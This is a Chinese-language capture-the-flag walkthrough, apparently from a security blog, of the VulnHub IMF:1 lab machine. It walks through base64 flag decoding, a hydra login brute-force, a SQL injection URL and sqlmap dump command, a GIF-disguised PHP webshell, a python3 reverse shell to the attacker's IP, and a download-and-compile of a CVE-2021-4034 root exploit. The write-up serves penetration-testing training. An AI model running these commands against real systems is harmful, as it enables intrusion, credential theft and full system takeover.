IMF缓冲区提权渗透
靶机地址：https://www.vulnhub.com/entry/imf-1,162/
靶机难度：中级（CTF）
服务端口扫描
访问80端口
端口服务探测，能下手的只有80端口
这儿只找到一个关于，联系我们
只有一个80端口，本次靶机考核的应该就不是xss，可以直接跳过
下面似乎有三个用户
查看源码，这儿有一个flag1{YWxsdGhlZmlsZXM=}
解码看看
得到明文：allthefiles
网页上也没有其他东西了，用dirsearch进行目录扫描试试
表面上没有任何信息了，但又肯定存在其他信息，只能对源码进行审计
Place favicon.ico and apple-touch-icon.png in the root directory
将favicon.ico和appletouch -icon.png放在根目录下
直到看到这些编码信息
将前面两个两个拼凑在一起
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNS
后面的那个就普通解码，得到后半部分
flag合起来就是，这里还是一个flag
flag2{aW1mYWRtaW5pc3RyYXRvcg==}继续解码，imfadministrator，这个结果可能是密码信息，但是网页上并没有登录的功能，22端口也没有开启
那么就是目录了
这里不清楚用户名的话，还记得刚刚页面上的信息嘛，第一个是导演，第二个是副主任，第三个是参谋长
先目录扫描一下，看看能不能越权
不行
sql注入，万能密码
现在唯一没有利用上的就是第一个flag明文，可能是密码吧，allthefiles，但是也没有效果，继续查看源码
I couldn’t get the SQL working, so I hard-coded the password. It’s still mad secure through. – Roger
我无法使SQL工作，所以我硬编码了密码。还是很安全的。——罗杰
这不是又是一个用户名，用户名不存在（无效的用户名），这又是一个漏洞点
试试刚刚的用户（导演 rmichaels，副主任 akeith，参谋长 estone），导演为密码错误
副主任 akeith 无效的用户名
参谋长 estone ，不存在
看样子只有导演能登陆了，用burp爆破
社区版很慢，考试只能用社区版，还有啥办法嘞，可以试试 hydra ，之前都是爆破一些协议，没有对http请求的内容进行爆破，这个还真没试过，我是菜鸡
分析页面信息 页面登录错误的信息为Invalid
登录失败的表单数据
那么就能得到hydra的参数详解
hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 http-post-form "/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"
都失败了
hydra：调用 Hydra 工具。
-l rmichaels：指定单个用户名为 rmichaels。这意味着 Hydra 将使用 rmichaels 作为用户名进行所有尝试。
-P /usr/share/wordlists/fasttrack.txt：指定密码字典文件为 /usr/share/wordlists/fasttrack.txt。Hydra 将从这个文件中读取密码，逐个尝试。
-t 4：设置同时运行的线程数为 4。这可以提高破解效率，但同时也会增加对目标服务器的负载。
-vV：显示详细的过程信息。这有助于了解 Hydra 的运行状态和尝试的用户名/密码组合。
192.168.209.132：目标服务器的 IP 地址。
http-post-form：指定服务类型为 HTTP POST 表单。
"/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"：指定表单路径、参数和错误消息。
/imfadministrator/index.php：表单的路径。这是目标服务器上处理登录请求的 PHP 文件的路径。
user=^USER^&pass=^PASS^：表单的参数。^USER^ 和 ^PASS^ 是占位符，分别表示用户名和密码。Hydra 会将这些占位符替换为实际的用户名和密码进行尝试。
Invalid：错误消息。当表单返回该消息时，表示登录失败。Hydra 会根据这个错误消息来判断当前尝试的用户名和密码是否有效。
使用强加密的话，可以利用php的特性，进行绕过
得到了flag3
flag3{Y29udGludWVUT2Ntcw==}解密后的明文：continueTOcms
进入到home
试试文件包含
file协议
data协议
php://filter伪协议
sql注入测试，得到sql语法错误的结果，这里没有回显数据（暂定为盲注）
继续添加参数，普通的盲注是行不通的，这里要在后面再添加一个单引号
我们换一个页面试试，看看能不能找到其他回显数据，进一步判断是否可以使用其他类型的注入（找其他信息，尽量不要盲注，因为在oscp考试中，禁止使用商业化工具比如sqlmap），用order by行不通
看样子是利用这个pagename，回显html数据的，这里发现一个union联合查询注入
当前数据库
http://192.168.209.132/imfadministrator/cms.php?pagename=11111' union select concat(database())'#
# admin接下来有一个很离谱的事儿，就是利用group_concat(111)能正常回显是吧，并且后面的sql语句没有报错
但是我一换成table_name就完蛋啦，无奈自能用sqlmap了
sqlmap脚本如下
sqlmap -u 'http://192.168.209.132/imfadministrator/cms.php?pagename=disavowlist' -p 'pagename' --dbms 'mysql' --level 3 --cookie 'PHPSESSID=rcvl9o0565ni5ub2ki19i1vcu3' --dump可以看到这里是存在联合注入的
访问一下，错误。。。。不管了
看数据
这里有一个二维码，扫扫看
得到flag4，flag4{dXBsb2Fkcjk0Mi5waHA=}
解码为一个php文件
有一个文件上传
burp抓包
burp爆破文件后缀，普通的一句话木马不行，那么就需要进行绕过
webshell的绕过工具weevely
weevely generate <password> <path>
把木马放到windows上进行上传，尝试各种的上传方法，只有图片格式的可以上传，还需要添加文件头欺骗
但是我们并不知道文件的名称，有一个uploads文件夹，刚刚dirsearch扫出来的，查看上传成功的源码，dab037ffb2eb
这里访问图片
只有图片马，还需要一个文件包含的漏洞才可以getshell（找个半天没有。。。），但是gif不一样了
写入一句话木马
echo 'GIF89a <?php $cmd=$_GET['cmd']; echo `$cmd`; ?>' > cmd.gif上传
http://192.168.209.132/imfadministrator/uploads/dfd5fb101707.gif?cmd=id
ls 查看当前目录，发现flag5，flag5_abc123def.txt
cat flag5_abc123def.txt
http://192.168.209.132/imfadministrator/uploads/dfd5fb101707.gif?cmd=cat%20flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}
# 解码
agentservices利用python3反弹shell
export RHOST="192.168.209.130";export RPORT=6666;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'系统信息收集，ubuntu 16.04 版本
但是这些exp都不行，这里提权有两种方法，一个是cve-2021-4034，一个是缓冲区溢出
exp提权，kali
git clone https://github.com/arthepsy/CVE-2021-4034.git靶机
wget 192.168.209.130:5000/cve-2021-4034-poc.c
gcc -o exp cve-2021-4034-poc.c
./exp
第二种方法缓冲区溢出提权，看看参考文章吧，这里我的“敲门”服务开启端口失败了，可能是因为我用了提权脚本的问题。
附两篇写的比较好的文章参考（都是缓冲区溢出的）：
https://www.freebuf.com/articles/system/329028.html
https://blog.csdn.net/ericalezl/article/details/131797477
往期推荐
往期推荐
不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学
ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略
【oscp】vulnerable_docker，三种代理方法打入内网
【内网渗透】CobaltStrike与MSF联动互相上线的方式
本站内容部分转载于互联网，并不代表本站立场！如若本站内容侵犯了原著者的合法权益，可联系我们进行处理！ 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论！
暂无评论内容